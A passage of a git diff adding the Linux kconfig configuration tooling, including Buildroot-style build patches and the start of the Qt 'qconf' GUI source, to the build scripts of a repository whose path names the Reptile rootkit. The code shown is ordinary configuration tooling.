sym_init(); + _menu_init(); +- rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL); ++ rootmenu.prompt = menu_add_prompt(P_MENU, PRODUCT" Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/101-kconfig-build.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/101-kconfig-build.patch new file mode 100644 index 0000000..dc8c86a --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/101-kconfig-build.patch @@ -0,0 +1,157 @@ + GNUmakefile | 60 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + Makefile.br | 26 ++++++++++++------------ + README | 50 +++++++++++++++++++++++++++++++++++++++++++++++++ + config.sh | 26 +++++++++++++++++++++++++ + 4 files changed, 149 insertions(+), 13 deletions(-) + +Index: kconfig/GNUmakefile +=================================================================== +--- /dev/null 1970-01-01 00:00:00.000000000 +0000 ++++ kconfig/GNUmakefile 2014-05-20 14:12:37.000000000 +0200 +@@ -0,0 +1,60 @@ ++# ++# Default stand alone makefile for kconfig. ++# ++# The Makefile and Makefile.br in this directory should ++# not be called directly for standalone build. ++# Actually they are included by this makefile. ++# ++ ++## ++# Makefile parameters. ++# ++# The parameters are configured as for kernel build ++# by default. Override them for your application ++# setting. ++# ++ ++# TOP srcdir and this srcdir (relative to TOPDIR) ++TOPDIR=. ++SRCDIR=. ++ ++# O: output directory (objs/exes), default to src dir ++O=$(TOPDIR)/$(SRCDIR) ++ ++# Build configuration ++KBUILD_KCONFIG=Kconfig ++KBUILD_CONFIG_DIR=configs ++KBUILD_DEFCONFIG=defconfig ++ ++# Product information (exported) ++export PRODUCT_ENV=KCONFIG ++export PRODUCT=Kernel ++export PRODUCT_VERSION= ++export PRODUCT_DOMAIN=kernel.org ++ ++# Kconfig configuration (exported) ++export $(PRODUCT_ENV)_CONFIG=config ++ ++ ++# End of Makefile parameters. ++## ++ ++## ++# Makefile adaptation/inclusion. ++ ++# Buid vars ++HOSTCC=$(CC) ++HOSTCXX=$(CXX) ++HOSTCFLAGS=-O2 -g ++HOSTCXXFLAGS=-O2 -g ++srctree=$(TOPDIR) ++src=$(TOPDIR)/$(SRCDIR) ++obj=$(O) ++ ++# Enable execution from Makefile *conf programs ++export PATH:=$(PATH):$(obj) ++ ++include $(TOPDIR)/$(SRCDIR)/Makefile.br ++ ++# End of Makefile adaptation/inclusion. ++## +Index: kconfig/README +=================================================================== +--- /dev/null 1970-01-01 00:00:00.000000000 +0000 ++++ kconfig/README 2014-05-20 14:12:37.000000000 +0200 +@@ -0,0 +1,50 @@ ++ ++# Synopsys ++ ++kconfig is an isolated packaging of the kernel configuration tools ++as found in the scripts/kconfig/ directory of the kernel sources. ++ ++The purpose is to provide the great functionalities of the kernel ++configuration mechanism to any project that need application ++level configuration. ++ ++# Usage ++ ++On can extract kconfig sources and run without installation ++from his own project directory: ++ ++$ cd myproject/ ++$ kconfig/config.sh manuconfig ++ ++As a default the mypoject/Kconfig file must be present for ++declaring the project configuration. ++The result is a myproject/config file which can be sources in ++a shell of makefile script. ++ ++Alternatively the call to: ++ ++$ kconfig/config.sh menuconfig ++ ++can be replaced by a direct call to the kconfig/GNUmakefile: ++ ++$ make -f kconfig/GNUmakefile TOPDIR=. SRCDIR=kconfig ++ ++Note that all common kernel configuration targets are available, ++in particular config, menuconfig, nconfig, gconfig, xconfig, ++defconfig, oldconfig, etc... ++ ++Get the list of targets with: ++ ++$ kconfig/config.sh help ++ ++or ++ ++$ make -f kconfig/GNUmakefile help TOPDIR=. SRCDIR=kconfig ++ ++ ++# References ++ ++Ref to buildroot README.buildroot file for the original idea ++of packaging kconfig. ++ ++Ref to kernel.org for actual contributors of kconfig. +Index: kconfig/config.sh +=================================================================== +--- /dev/null 1970-01-01 00:00:00.000000000 +0000 ++++ kconfig/config.sh 2014-05-20 14:12:37.000000000 +0200 +@@ -0,0 +1,26 @@ ++#!/bin/sh ++# ++# usage: kconfig/config.sh ++# ++# Runs the requested configuration from ++# the directory to be configured. ++# ++# For instance: ++# cd myproject/ ++# kconfig/config.sh menuconfig ++# ++# Will generated a 'config' file in ++# myproject/ from the 'Kconfig' file ++# in myproject/ ++# ++ ++set -e ++dir=`dirname $0` ++topdir=`dirname $dir` ++srcdir=`basename $dir` ++kconfig_targets="${1-config}" ++set -x ++exec make -f $dir/GNUmakefile \ ++ TOPDIR=$topdir \ ++ SRCDIR=$srcdir \ ++ $kconfig_targets diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/11-use-mktemp-for-lxdialog.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/11-use-mktemp-for-lxdialog.patch new file mode 100644 index 0000000..b38af26 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/11-use-mktemp-for-lxdialog.patch @@ -0,0 +1,17 @@ +--- + lxdialog/check-lxdialog.sh | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +Index: b/lxdialog/check-lxdialog.sh +=================================================================== +--- a/lxdialog/check-lxdialog.sh ++++ b/lxdialog/check-lxdialog.sh +@@ -36,7 +36,7 @@ + } + + # Temp file, try to clean up after us +-tmp=.lxdialog.tmp ++tmp=$(mktemp) + trap "rm -f $tmp" 0 1 2 3 15 + + # Check if we can link to ncurses diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/12-fix-glade-file-path.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/12-fix-glade-file-path.patch new file mode 100644 index 0000000..a5777da --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/12-fix-glade-file-path.patch @@ -0,0 +1,17 @@ +--- + gconf.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +Index: b/gconf.c +=================================================================== +--- a/gconf.c ++++ b/gconf.c +@@ -1486,7 +1486,7 @@ + /* Determine GUI path */ + env = getenv(SRCTREE); + if (env) +- glade_file = g_strconcat(env, "/scripts/kconfig/gconf.glade", NULL); ++ glade_file = g_strconcat(env, "/support/kconfig/gconf.glade", NULL); + else if (av[0][0] == '/') + glade_file = g_strconcat(av[0], ".glade", NULL); + else diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/14-support-out-of-tree-config.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/14-support-out-of-tree-config.patch new file mode 100644 index 0000000..ec3134f --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/14-support-out-of-tree-config.patch @@ -0,0 +1,207 @@ +--- + conf.c | 1 + confdata.c | 62 ++++++++++++++++++++++++++++++++++++++++++++++--------------- + util.c | 16 +++++++++++++-- + 3 files changed, 61 insertions(+), 18 deletions(-) + +Index: b/conf.c +=================================================================== +--- a/conf.c ++++ b/conf.c +@@ -558,7 +558,6 @@ + } + name = av[optind]; + conf_parse(name); +- //zconfdump(stdout); + if (sync_kconfig) { + name = conf_get_configname(); + if (stat(name, &tmpstat)) { +Index: b/confdata.c +=================================================================== +--- a/confdata.c ++++ b/confdata.c +@@ -13,6 +13,7 @@ + #include + #include + #include ++#include + + #include "lkc.h" + +@@ -70,9 +71,7 @@ + + const char *conf_get_autoconfig_name(void) + { +- char *name = getenv("KCONFIG_AUTOCONFIG"); +- +- return name ? name : "include/config/auto.conf"; ++ return getenv("KCONFIG_AUTOCONFIG"); + } + + static char *conf_expand_value(const char *in) +@@ -742,6 +741,9 @@ + char dirname[PATH_MAX+1], tmpname[PATH_MAX+1], newname[PATH_MAX+1]; + char *env; + ++ if (!name) ++ name = conf_get_configname(); ++ + dirname[0] = 0; + if (name && name[0]) { + struct stat st; +@@ -836,6 +838,7 @@ + { + const char *name; + char path[PATH_MAX+1]; ++ char *opwd, *dir, *_name; + char *s, *d, c; + struct symbol *sym; + struct stat sb; +@@ -844,8 +847,20 @@ + name = conf_get_autoconfig_name(); + conf_read_simple(name, S_DEF_AUTO); + +- if (chdir("include/config")) +- return 1; ++ opwd = malloc(256); ++ _name = strdup(name); ++ if (opwd == NULL || _name == NULL) ++ return 1; ++ opwd = getcwd(opwd, 256); ++ dir = dirname(_name); ++ if (dir == NULL) { ++ res = 1; ++ goto err; ++ } ++ if (chdir(dir)) { ++ res = 1; ++ goto err; ++ } + + res = 0; + for_all_symbols(i, sym) { +@@ -938,9 +953,11 @@ + close(fd); + } + out: +- if (chdir("../..")) +- return 1; +- ++ if (chdir(opwd)) ++ res = 1; ++err: ++ free(opwd); ++ free(_name); + return res; + } + +@@ -950,25 +967,38 @@ + const char *name; + FILE *out, *tristate, *out_h; + int i; ++ char dir[PATH_MAX+1], buf[PATH_MAX+1]; ++ char *s; ++ ++ strcpy(dir, conf_get_configname()); ++ s = strrchr(dir, '/'); ++ if (s) ++ s[1] = 0; ++ else ++ dir[0] = 0; + + sym_clear_all_valid(); + +- file_write_dep("include/config/auto.conf.cmd"); ++ sprintf(buf, "%s.config.cmd", dir); ++ file_write_dep(buf); + + if (conf_split_config()) + return 1; + +- out = fopen(".tmpconfig", "w"); ++ sprintf(buf, "%s.tmpconfig", dir); ++ out = fopen(buf, "w"); + if (!out) + return 1; + +- tristate = fopen(".tmpconfig_tristate", "w"); ++ sprintf(buf, "%s.tmpconfig_tristate", dir); ++ tristate = fopen(buf, "w"); + if (!tristate) { + fclose(out); + return 1; + } + +- out_h = fopen(".tmpconfig.h", "w"); ++ sprintf(buf, "%s.tmpconfig.h", dir); ++ out_h = fopen(buf, "w"); + if (!out_h) { + fclose(out); + fclose(tristate); +@@ -1000,19 +1030,22 @@ + name = getenv("KCONFIG_AUTOHEADER"); + if (!name) + name = "include/generated/autoconf.h"; +- if (rename(".tmpconfig.h", name)) ++ sprintf(buf, "%s.tmpconfig.h", dir); ++ if (rename(buf, name)) + return 1; + name = getenv("KCONFIG_TRISTATE"); + if (!name) + name = "include/config/tristate.conf"; +- if (rename(".tmpconfig_tristate", name)) ++ sprintf(buf, "%s.tmpconfig_tristate", dir); ++ if (rename(buf, name)) + return 1; + name = conf_get_autoconfig_name(); + /* + * This must be the last step, kbuild has a dependency on auto.conf + * and this marks the successful completion of the previous steps. + */ +- if (rename(".tmpconfig", name)) ++ sprintf(buf, "%s.tmpconfig", dir); ++ if (rename(buf, name)) + return 1; + + return 0; +Index: b/util.c +=================================================================== +--- a/util.c ++++ b/util.c +@@ -34,6 +34,8 @@ + /* write a dependency file as used by kbuild to track dependencies */ + int file_write_dep(const char *name) + { ++ char *str; ++ char buf[PATH_MAX+1], buf2[PATH_MAX+1], dir[PATH_MAX+1]; + struct symbol *sym, *env_sym; + struct expr *e; + struct file *file; +@@ -41,7 +43,16 @@ + + if (!name) + name = ".kconfig.d"; +- out = fopen("..config.tmp", "w"); ++ ++ strcpy(dir, conf_get_configname()); ++ str = strrchr(dir, '/'); ++ if (str) ++ str[1] = 0; ++ else ++ dir[0] = 0; ++ ++ sprintf(buf, "%s..config.tmp", dir); ++ out = fopen(buf, "w"); + if (!out) + return 1; + fprintf(out, "deps_config := \\\n"); +@@ -72,7 +83,8 @@ + + fprintf(out, "\n$(deps_config): ;\n"); + fclose(out); +- rename("..config.tmp", name); ++ sprintf(buf2, "%s%s", dir, name); ++ rename(buf, buf2); + return 0; + } + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/15-fix-qconf-moc-rule.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/15-fix-qconf-moc-rule.patch new file mode 100644 index 0000000..c1848d7 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/15-fix-qconf-moc-rule.patch @@ -0,0 +1,24 @@ +Fix the rule that generates the .moc file + +The Linux kernel has a "cmd" make function, but we don't have it in +Buildroot, so we need to adjust this rule. + +Signed-off-by: Thomas Petazzoni + +Index: b/Makefile +=================================================================== +--- a/Makefile ++++ b/Makefile +@@ -309,11 +309,8 @@ + + $(obj)/qconf.o: $(obj)/qconf.moc + +-quiet_cmd_moc = MOC $@ +- cmd_moc = $(KC_QT_MOC) -i $< -o $@ +- + $(obj)/%.moc: $(src)/%.h $(obj)/.tmp_qtcheck +- $(call cmd,moc) ++ $(KC_QT_MOC) -i $< -o $@ + + # Extract gconf menu items for I18N support + $(obj)/gconf.glade.h: $(obj)/gconf.glade diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/16-fix-space-to-de-select-options.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/16-fix-space-to-de-select-options.patch new file mode 100644 index 0000000..972d2de --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/16-fix-space-to-de-select-options.patch @@ -0,0 +1,41 @@ +commit 6faa447282fe90d42e0513af46c13f20b4b327d4 +Author: Yann E. MORIN +Date: Wed Nov 13 22:45:02 2013 +0100 + + support/kconfig: fix 'space' to (de)select options + + In case a menu has comment without letters/numbers (eg. characters + matching the regexp '^[^[:alpha:][:digit:]]+$', for example - or *), + hitting space will cycle through those comments, rather than + selecting/deselecting the currently-highlighted option. + + This is the behaviour of hitting any letter/digit: jump to the next + option which prompt starts with that letter. The only letters that + do not behave as such are 'y' 'm' and 'n'. Prompts that start with + one of those three letters are instead matched on the first letter + that is not 'y', 'm' or 'n'. + + Fix that by treating 'space' as we treat y/m/n, ie. as an action key, + not as shortcut to jump to prompt. + + Signed-off-by: "Yann E. MORIN" + Cc: Thomas Petazzoni + Cc: Peter Korsgaard + Cc: Samuel Martin + Cc: Thomas De Schampheleire + --- + Note: I'll be running this upstream soonish. + +diff --git a/support/kconfig/lxdialog/menubox.c b/support/kconfig/lxdialog/menubox.c +index 48d382e..6fc7e78 100644 +--- a/lxdialog/menubox.c ++++ b/lxdialog/menubox.c +@@ -285,7 +285,7 @@ do_resize: + if (key < 256 && isalpha(key)) + key = tolower(key); + +- if (strchr("ynmh", key)) ++ if (strchr("ynmh ", key)) + i = max_choice; + else { + for (i = choice + 1; i < max_choice; i++) { diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/series b/Linux/Rootkits/Reptile/scripts/kconfig/patches/series new file mode 100644 index 0000000..de0a289 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/series @@ -0,0 +1,9 @@ +01-kconfig-kernel-to-buildroot.patch +10-br-build-system.patch +11-use-mktemp-for-lxdialog.patch +12-fix-glade-file-path.patch +14-support-out-of-tree-config.patch +15-fix-qconf-moc-rule.patch +16-fix-space-to-de-select-options.patch +100-kconfig-generic-env.patch +101-kconfig-build.patch diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/qconf.cc b/Linux/Rootkits/Reptile/scripts/kconfig/qconf.cc new file mode 100644 index 0000000..2443af1 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/qconf.cc @@ -0,0 +1,1795 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include + +#if QT_VERSION < 0x040000 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#else +#include +#include +#include +#include +#include +#include +#include +#include +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "lkc.h" +#include "qconf.h" + +#include "qconf.moc" +#include "images.c" + +#ifdef _ +# undef _ +# define _ qgettext +#endif + +static QApplication *configApp; +static ConfigSettings *configSettings; + +Q3Action *ConfigMainWindow::saveAction; + +static inline QString qgettext(const char* str) +{ + return QString::fromLocal8Bit(gettext(str)); +} + +static inline QString qgettext(const QString& str) +{ + return QString::fromLocal8Bit(gettext(str.latin1())); +} + +ConfigSettings::ConfigSettings() + : QSettings(PRODUCT_DOMAIN, "qconf") +{ +} + +/** + * Reads a list of integer values from the application settings. + */ +Q3ValueList ConfigSettings::readSizes(const QString& key, bool *ok) +{ + Q3ValueList result; + QStringList entryList = readListEntry(key, ok); + QStringList::Iterator it; + + for (it = entryList.begin(); it != entryList.end(); ++it) + result.push_back((*it).toInt()); + + return result; +} + +/** + * Writes a list of integer values to the application settings. + */ +bool ConfigSettings::writeSizes(const QString& key, const Q3ValueList& value) +{ + QStringList stringList; + Q3ValueList::ConstIterator it; + + for (it = value.begin(); it != value.end(); ++it) + stringList.push_back(QString::number(*it)); + return writeEntry(key, stringList); +} + + +/* + * set the new data + * TODO check the value + */ +void ConfigItem::okRename(int col) +{ + Parent::okRename(col); + sym_set_string_value(menu->sym, text(dataColIdx).latin1()); + listView()->updateList(this); +} + +/* + * update the displayed of a menu entry + */ +void ConfigItem::updateMenu(void) +{ + ConfigList* list; + struct symbol* sym; + struct property *prop; + QString prompt; + int type; + tristate expr; + + list = listView(); + if (goParent) { + setPixmap(promptColIdx, list->menuBackPix); + prompt = ".."; + goto set_prompt; + } + + sym = menu->sym; + prop = menu->prompt; + prompt = _(menu_get_prompt(menu)); + + if (prop) switch (prop->type) { + case P_MENU: + if (list->mode == singleMode || list->mode == symbolMode) { + /* a menuconfig entry is displayed differently + * depending whether it's at the view root or a child. + */ + if (sym && list->rootEntry == menu) + break; + setPixmap(promptColIdx, list->menuPix); + } else { + if (sym) + break; + setPixmap(promptColIdx, 0); + } + goto set_prompt; + case P_COMMENT: + setPixmap(promptColIdx, 0); + goto set_prompt; + default: + ; + } + if (!sym) + goto set_prompt; + + setText(nameColIdx, QString::fromLocal8Bit(sym->name)); + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + char ch; + + if (!sym_is_changable(sym) && list->optMode == normalOpt) { + setPixmap(promptColIdx, 0); + setText(noColIdx, QString::null); + setText(modColIdx, QString::null); + setText(yesColIdx, QString::null); + break; + } + expr = sym_get_tristate_value(sym); + switch (expr) { + case yes: + if (sym_is_choice_value(sym) && type == S_BOOLEAN) + setPixmap(promptColIdx, list->choiceYesPix); + else + setPixmap(promptColIdx, list->symbolYesPix); + setText(yesColIdx, "Y"); + ch = 'Y'; + break; + case mod: + setPixmap(promptColIdx, list->symbolModPix); + setText(modColIdx, "M"); + ch = 'M'; + break; + default: + if (sym_is_choice_value(sym) && type == S_BOOLEAN) + setPixmap(promptColIdx, list->choiceNoPix); + else + setPixmap(promptColIdx, list->symbolNoPix); + setText(noColIdx, "N"); + ch = 'N'; + break; + } + if (expr != no) + setText(noColIdx, sym_tristate_within_range(sym, no) ? "_" : 0); + if (expr != mod) + setText(modColIdx, sym_tristate_within_range(sym, mod) ? "_" : 0); + if (expr != yes) + setText(yesColIdx, sym_tristate_within_range(sym, yes) ? "_" : 0); + + setText(dataColIdx, QChar(ch)); + break; + case S_INT: + case S_HEX: + case S_STRING: + const char* data; + + data = sym_get_string_value(sym); + + int i = list->mapIdx(dataColIdx); + if (i >= 0) + setRenameEnabled(i, TRUE); + setText(dataColIdx, data); + if (type == S_STRING) + prompt = QString("%1: %2").arg(prompt).arg(data); + else + prompt = QString("(%2) %1").arg(prompt).arg(data); + break; + } + if (!sym_has_value(sym) && visible) + prompt += _(" (NEW)"); +set_prompt: + setText(promptColIdx, prompt); +} + +void ConfigItem::testUpdateMenu(bool v) +{ + ConfigItem* i; + + visible = v; + if (!menu) + return; + + sym_calc_value(menu->sym); + if (menu->flags & MENU_CHANGED) { + /* the menu entry changed, so update all list items */ + menu->flags &= ~MENU_CHANGED; + for (i = (ConfigItem*)menu->data; i; i = i->nextItem) + i->updateMenu(); + } else if (listView()->updateAll) + updateMenu(); +} + +void ConfigItem::paintCell(QPainter* p, const QColorGroup& cg, int column, int width, int align) +{ + ConfigList* list = listView(); + + if (visible) { + if (isSelected() && !list->hasFocus() && list->mode == menuMode) + Parent::paintCell(p, list->inactivedColorGroup, column, width, align); + else + Parent::paintCell(p, cg, column, width, align); + } else + Parent::paintCell(p, list->disabledColorGroup, column, width, align); +} + +/* + * construct a menu entry + */ +void ConfigItem::init(void) +{ + if (menu) { + ConfigList* list = listView(); + nextItem = (ConfigItem*)menu->data; + menu->data = this; + + if (list->mode != fullMode) + setOpen(TRUE); + sym_calc_value(menu->sym); + } + updateMenu(); +} + +/* + * destruct a menu entry + */ +ConfigItem::~ConfigItem(void) +{ + if (menu) { + ConfigItem** ip = (ConfigItem**)&menu->data; + for (; *ip; ip = &(*ip)->nextItem) { + if (*ip == this) { + *ip = nextItem; + break; + } + } + } +} + +ConfigLineEdit::ConfigLineEdit(ConfigView* parent) + : Parent(parent) +{ + connect(this, SIGNAL(lostFocus()), SLOT(hide())); +} + +void ConfigLineEdit::show(ConfigItem* i) +{ + item = i; + if (sym_get_string_value(item->menu->sym)) + setText(QString::fromLocal8Bit(sym_get_string_value(item->menu->sym))); + else + setText(QString::null); + Parent::show(); + setFocus(); +} + +void ConfigLineEdit::keyPressEvent(QKeyEvent* e) +{ + switch (e->key()) { + case Qt::Key_Escape: + break; + case Qt::Key_Return: + case Qt::Key_Enter: + sym_set_string_value(item->menu->sym, text().latin1()); + parent()->updateList(item); + break; + default: + Parent::keyPressEvent(e); + return; + } + e->accept(); + parent()->list->setFocus(); + hide(); +} + +ConfigList::ConfigList(ConfigView* p, const char *name) + : Parent(p, name), + updateAll(false), + symbolYesPix(xpm_symbol_yes), symbolModPix(xpm_symbol_mod), symbolNoPix(xpm_symbol_no), + choiceYesPix(xpm_choice_yes), choiceNoPix(xpm_choice_no), + menuPix(xpm_menu), menuInvPix(xpm_menu_inv), menuBackPix(xpm_menuback), voidPix(xpm_void), + showName(false), showRange(false), showData(false), optMode(normalOpt), + rootEntry(0), headerPopup(0) +{ + int i; + + setSorting(-1); + setRootIsDecorated(TRUE); + disabledColorGroup = palette().active(); + disabledColorGroup.setColor(QColorGroup::Text, palette().disabled().text()); + inactivedColorGroup = palette().active(); + inactivedColorGroup.setColor(QColorGroup::Highlight, palette().disabled().highlight()); + + connect(this, SIGNAL(selectionChanged(void)), + SLOT(updateSelection(void))); + + if (name) { + configSettings->beginGroup(name); + showName = configSettings->readBoolEntry("/showName", false); + showRange = configSettings->readBoolEntry("/showRange", false); + showData = configSettings->readBoolEntry("/showData", false); + optMode = (enum optionMode)configSettings->readNumEntry("/optionMode", false); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } + + for (i = 0; i < colNr; i++) + colMap[i] = colRevMap[i] = -1; + addColumn(promptColIdx, _("Option")); + + reinit(); +} + +bool ConfigList::menuSkip(struct menu *menu) +{ + if (optMode == normalOpt && menu_is_visible(menu)) + return false; + if (optMode == promptOpt && menu_has_prompt(menu)) + return false; + if (optMode == allOpt) + return false; + return true; +} + +void ConfigList::reinit(void) +{ + removeColumn(dataColIdx); + removeColumn(yesColIdx); + removeColumn(modColIdx); + removeColumn(noColIdx); + removeColumn(nameColIdx); + + if (showName) + addColumn(nameColIdx, _("Name")); + if (showRange) { + addColumn(noColIdx, "N"); + addColumn(modColIdx, "M"); + addColumn(yesColIdx, "Y"); + } + if (showData) + addColumn(dataColIdx, _("Value")); + + updateListAll(); +} + +void ConfigList::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/showName", showName); + configSettings->writeEntry("/showRange", showRange); + configSettings->writeEntry("/showData", showData); + configSettings->writeEntry("/optionMode", (int)optMode); + configSettings->endGroup(); + } +} + +ConfigItem* ConfigList::findConfigItem(struct menu *menu) +{ + ConfigItem* item = (ConfigItem*)menu->data; + + for (; item; item = item->nextItem) { + if (this == item->listView()) + break; + } + + return item; +} + +void ConfigList::updateSelection(void) +{ + struct menu *menu; + enum prop_type type; + + ConfigItem* item = (ConfigItem*)selectedItem(); + if (!item) + return; + + menu = item->menu; + emit menuChanged(menu); + if (!menu) + return; + type = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (mode == menuMode && type == P_MENU) + emit menuSelected(menu); +} + +void ConfigList::updateList(ConfigItem* item) +{ + ConfigItem* last = 0; + + if (!rootEntry) { + if (mode != listMode) + goto update; + Q3ListViewItemIterator it(this); + ConfigItem* item; + + for (; it.current(); ++it) { + item = (ConfigItem*)it.current(); + if (!item->menu) + continue; + item->testUpdateMenu(menu_is_visible(item->menu)); + } + return; + } + + if (rootEntry != &rootmenu && (mode == singleMode || + (mode == symbolMode && rootEntry->parent != &rootmenu))) { + item = firstChild(); + if (!item) + item = new ConfigItem(this, 0, true); + last = item; + } + if ((mode == singleMode || (mode == symbolMode && !(rootEntry->flags & MENU_ROOT))) && + rootEntry->sym && rootEntry->prompt) { + item = last ? last->nextSibling() : firstChild(); + if (!item) + item = new ConfigItem(this, last, rootEntry, true); + else + item->testUpdateMenu(true); + + updateMenuList(item, rootEntry); + triggerUpdate(); + return; + } +update: + updateMenuList(this, rootEntry); + triggerUpdate(); +} + +void ConfigList::setValue(ConfigItem* item, tristate val) +{ + struct symbol* sym; + int type; + tristate oldval; + + sym = item->menu ? item->menu->sym : 0; + if (!sym) + return; + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + oldval = sym_get_tristate_value(sym); + + if (!sym_set_tristate_value(sym, val)) + return; + if (oldval == no && item->menu->list) + item->setOpen(TRUE); + parent()->updateList(item); + break; + } +} + +void ConfigList::changeValue(ConfigItem* item) +{ + struct symbol* sym; + struct menu* menu; + int type, oldexpr, newexpr; + + menu = item->menu; + if (!menu) + return; + sym = menu->sym; + if (!sym) { + if (item->menu->list) + item->setOpen(!item->isOpen()); + return; + } + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + oldexpr = sym_get_tristate_value(sym); + newexpr = sym_toggle_tristate_value(sym); + if (item->menu->list) { + if (oldexpr == newexpr) + item->setOpen(!item->isOpen()); + else if (oldexpr == no) + item->setOpen(TRUE); + } + if (oldexpr != newexpr) + parent()->updateList(item); + break; + case S_INT: + case S_HEX: + case S_STRING: + if (colMap[dataColIdx] >= 0) + item->startRename(colMap[dataColIdx]); + else + parent()->lineEdit->show(item); + break; + } +} + +void ConfigList::setRootMenu(struct menu *menu) +{ + enum prop_type type; + + if (rootEntry == menu) + return; + type = menu && menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (type != P_MENU) + return; + updateMenuList(this, 0); + rootEntry = menu; + updateListAll(); + setSelected(currentItem(), hasFocus()); + ensureItemVisible(currentItem()); +} + +void ConfigList::setParentMenu(void) +{ + ConfigItem* item; + struct menu *oldroot; + + oldroot = rootEntry; + if (rootEntry == &rootmenu) + return; + setRootMenu(menu_get_parent_menu(rootEntry->parent)); + + Q3ListViewItemIterator it(this); + for (; (item = (ConfigItem*)it.current()); it++) { + if (item->menu == oldroot) { + setCurrentItem(item); + ensureItemVisible(item); + break; + } + } +} + +/* + * update all the children of a menu entry + * removes/adds the entries from the parent widget as necessary + * + * parent: either the menu list widget or a menu entry widget + * menu: entry to be updated + */ +template +void ConfigList::updateMenuList(P* parent, struct menu* menu) +{ + struct menu* child; + ConfigItem* item; + ConfigItem* last; + bool visible; + enum prop_type type; + + if (!menu) { + while ((item = parent->firstChild())) + delete item; + return; + } + + last = parent->firstChild(); + if (last && !last->goParent) + last = 0; + for (child = menu->list; child; child = child->next) { + item = last ? last->nextSibling() : parent->firstChild(); + type = child->prompt ? child->prompt->type : P_UNKNOWN; + + switch (mode) { + case menuMode: + if (!(child->flags & MENU_ROOT)) + goto hide; + break; + case symbolMode: + if (child->flags & MENU_ROOT) + goto hide; + break; + default: + break; + } + + visible = menu_is_visible(child); + if (!menuSkip(child)) { + if (!child->sym && !child->list && !child->prompt) + continue; + if (!item || item->menu != child) + item = new ConfigItem(parent, last, child, visible); + else + item->testUpdateMenu(visible); + + if (mode == fullMode || mode == menuMode || type != P_MENU) + updateMenuList(item, child); + else + updateMenuList(item, 0); + last = item; + continue; + } + hide: + if (item && item->menu == child) { + last = parent->firstChild(); + if (last == item) + last = 0; + else while (last->nextSibling() != item) + last = last->nextSibling(); + delete item; + } + } +} + +void ConfigList::keyPressEvent(QKeyEvent* ev) +{ + Q3ListViewItem* i = currentItem(); + ConfigItem* item; + struct menu *menu; + enum prop_type type; + + if (ev->key() == Qt::Key_Escape && mode != fullMode && mode != listMode) { + emit parentSelected(); + ev->accept(); + return; + } + + if (!i) { + Parent::keyPressEvent(ev); + return; + } + item = (ConfigItem*)i; + + switch (ev->key()) { + case Qt::Key_Return: + case Qt::Key_Enter: + if (item->goParent) { + emit parentSelected(); + break; + } + menu = item->menu; + if (!menu) + break; + type = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (type == P_MENU && rootEntry != menu && + mode != fullMode && mode != menuMode) { + emit menuSelected(menu); + break; + } + case Qt::Key_Space: + changeValue(item); + break; + case Qt::Key_N: + setValue(item, no); + break; + case Qt::Key_M: + setValue(item, mod); + break; + case Qt::Key_Y: + setValue(item, yes); + break; + default: + Parent::keyPressEvent(ev); + return; + } + ev->accept(); +} + +void ConfigList::contentsMousePressEvent(QMouseEvent* e) +{ + //QPoint p(contentsToViewport(e->pos())); + //printf("contentsMousePressEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMousePressEvent(e); +} + +void ConfigList::contentsMouseReleaseEvent(QMouseEvent* e) +{ + QPoint p(contentsToViewport(e->pos())); + ConfigItem* item = (ConfigItem*)itemAt(p); + struct menu *menu; + enum prop_type ptype; + const QPixmap* pm; + int idx, x; + + if (!item) + goto skip; + + menu = item->menu; + x = header()->offset() + p.x(); + idx = colRevMap[header()->sectionAt(x)]; + switch (idx) { + case promptColIdx: + pm = item->pixmap(promptColIdx); + if (pm) { + int off = header()->sectionPos(0) + itemMargin() + + treeStepSize() * (item->depth() + (rootIsDecorated() ? 1 : 0)); + if (x >= off && x < off + pm->width()) { + if (item->goParent) { + emit parentSelected(); + break; + } else if (!menu) + break; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (ptype == P_MENU && rootEntry != menu && + mode != fullMode && mode != menuMode) + emit 